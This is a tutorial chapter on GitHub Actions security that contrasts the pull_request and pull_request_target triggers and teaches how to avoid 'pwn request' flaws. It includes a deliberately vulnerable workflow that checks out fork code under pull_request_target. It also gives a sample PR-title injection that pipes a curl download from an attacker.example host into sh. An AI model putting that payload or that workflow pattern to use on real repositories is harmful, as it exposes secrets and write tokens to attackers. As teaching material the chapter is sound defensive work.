Sub topic 7
pull_request vs pull_request_target
This chapter assumes you know basic YAML, how events, jobs and steps fit together in a workflow, and how forks and pull requests work on GitHub. It compares the two triggers that react to pull requests. Choosing the wrong one is the root cause of most "pwn request" incidents, which the next chapters cover in detail.
Why two triggers exist
Pull requests from forks create a problem. A workflow must build and test code written by someone you do not know. That code can read any secret the job can see, and it can use the job's token.
GitHub answers this with two triggers that make opposite trade-offs:
pull_requestruns in a restricted context. It is safe for untrusted code but cannot do much.pull_request_targetruns in a privileged context. It can do much, but it is only safe if you never run untrusted code in it.
What each trigger does
The table shows the behavior for a pull request opened from a fork.
| Property | `pull_request` | `pull_request_target` |
|---|---|---|
| Workflow file version used | The merge commit of the PR (fork changes included) | The default branch of the base repository |
| Default checkout (`actions/checkout`) | The PR merge commit | The base branch |
| `GITHUB_TOKEN` | Read-only for forks, even if the repository default is write | Read/write according to the repository defaults and your `permissions` block |
| Repository secrets | Not passed to fork PRs (except `GITHUB_TOKEN`) | Available |
| Runs automatically for first-time contributors | Needs approval, depending on settings | Runs without the approval prompt |
| Typical use | Build, lint, test | Label, comment, triage |
Two points in the table deserve attention.
First, pull_request_target reads the workflow file from the base branch. A contributor cannot change the workflow that runs by editing it in their PR. That is a real protection, and it is why the trigger is considered trusted.
Second, the trusted workflow definition does not make the data trusted. The PR title, body, branch name and the fork's files are still attacker-controlled. The privileged job simply handles them with more power.
A diagram of the two contexts
The `pull_request` trigger in practice
Use pull_request for anything that executes the contribution: installing dependencies, running tests, building, linting. Even if the code is malicious, the job has nothing valuable to steal. It has no secrets and a read-only token.
name: ci
on: pull_request
permissions:
contents: read
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm ci && npm testThe permissions block is not strictly needed for fork PRs, because GitHub already forces a read-only token there. It still matters. Pull requests opened from branches inside the same repository get the normal token, and the block documents your intent.
The cost of this safety is limited capability. A fork PR cannot post a comment, apply a label, or push to a registry, because the token cannot write and no secret is available. Many teams respond to that limit by switching the trigger to pull_request_target. That is the point where mistakes start.
The `pull_request_target` trigger in practice
pull_request_target suits jobs that need to write to the base repository in response to a PR, without touching the PR's code. Typical examples are applying labels, posting a welcome comment, or assigning reviewers.
name: label-pr
on:
pull_request_target:
types: [opened]
permissions:
contents: read
pull-requests: write
jobs:
label:
runs-on: ubuntu-latest
steps:
- uses: actions/labeler@v5This workflow never checks out the fork. It reads metadata and calls the API. The token has only the two permissions it needs.
The dangerous combination
The trigger becomes a vulnerability when a privileged job fetches and runs fork content. This is the pattern from the topic's examples:
name: ci
on: pull_request_target
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: npm ci && npm testThe ref input points the checkout at the fork's commit. Then npm ci runs install scripts from the fork's package.json, and npm test runs the fork's test files. Both execute in a job that has the base repository's secrets and a write-capable token. An attacker only needs to open a PR that adds a postinstall script.
The safe version moves the same job to pull_request:
name: ci
on: pull_request
permissions:
contents: read
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm ci && npm testHow the risks combine with script injection
The two vulnerability classes in this tutorial reinforce each other. Script injection through ${{ }} needs untrusted text. pull_request_target supplies that text (PR title, body, head branch name) and also grants the privileges that make injection valuable.
Compare the same injection in two triggers:
| Trigger | Injectable PR title | Attacker gains | Column |
|---|---|---|---|
| `pull_request` from a fork | `"; curl https://attacker.example/x \ | sh; echo "` | Code execution in a sandbox with no secrets and a read-only token |
| `pull_request_target` | The same title | Code execution with secrets and a write-capable token |
The pull_request_target workflow in the github-script example earlier in this tutorial is exploitable for this reason. The fix is the same as before: pass the title through env, and set an explicit permissions block so that even a successful injection has little to steal.
Decision criteria
Ask these questions in order:
- Does the job execute anything from the PR (code, scripts, build files, dependencies)? If yes, use
pull_request. - Does the job need write access or secrets, and does it only use event metadata? If yes,
pull_request_targetmay fit. Keep the permissions minimal and do not check out the PR head. - Does the job need both? Split it into two workflows. An unprivileged
pull_requestworkflow builds and tests, then a privileged follow-up workflow handles the write step. The later chapters on safe patterns andworkflow_runcover how to do this.
Edge cases
- Same-repository branches. A PR from a branch in the same repository behaves differently.
pull_requestgets secrets and a normal token there, because collaborators with push access are trusted. Do not assume a PR is a fork PR when reasoning about exposure. - Dependabot. PRs opened by Dependabot are treated like fork PRs for secrets:
pull_requestruns get a read-only token and Dependabot-specific secrets only. Dependabot secrets are separate from Actions secrets. - Default checkout is safe, explicit
refis not. Inpull_request_target, plainactions/checkoutfetches the base branch. The danger appears when you setreftogithub.event.pull_request.head.sha,head.ref, orrefs/pull/N/merge. - Label gates are fragile. Some workflows run
pull_request_targetonly after a maintainer adds a label such assafe-to-test. This helps only if the label is removed on every new push, and the workflow checks out the exact reviewed SHA. Otherwise an attacker pushes new commits after approval. - Cached state. Caches written by a privileged run can be read by later runs. A poisoned cache from an untrusted step can carry attacker content into a trusted one.
- Trigger activity types.
pull_request_targetdefaults toopened,synchronizeandreopened. Narrowingtypesreduces how often privileged code runs, but does not make unsafe steps safe.
Quick reference
# Safe for running fork code
on: pull_request
# Safe only if no fork code is executed and permissions are minimal
on: pull_request_target
permissions:
contents: readExercise
A workflow uses on: pull_request_target and runs actions/checkout with ref: ${{ github.event.pull_request.head.sha }}, then runs npm test. Name the two properties of the job that make this dangerous, and describe the smallest change that makes the job safe if it only needs to run tests.
Show answer
The job has the base repository's secrets and a write-capable GITHUB_TOKEN, and it executes code from the fork (install scripts and tests from the PR). Change the trigger to pull_request, drop the ref input so the default checkout is used, and add permissions: contents: read. The fork code then runs with a read-only token and no secrets.
Exercise
A maintainer wants to greet first-time contributors with a comment on their fork PRs. Which trigger fits, and what two rules keep it safe?
Show answer
pull_request_target fits because posting a comment needs a write-capable token that fork PRs do not get under pull_request. The rules are: do not check out or run any fork content, and set a minimal permissions block (for example pull-requests: write only). Also pass any event data used in scripts, such as the PR title, through environment variables instead of ${{ }} inside the script.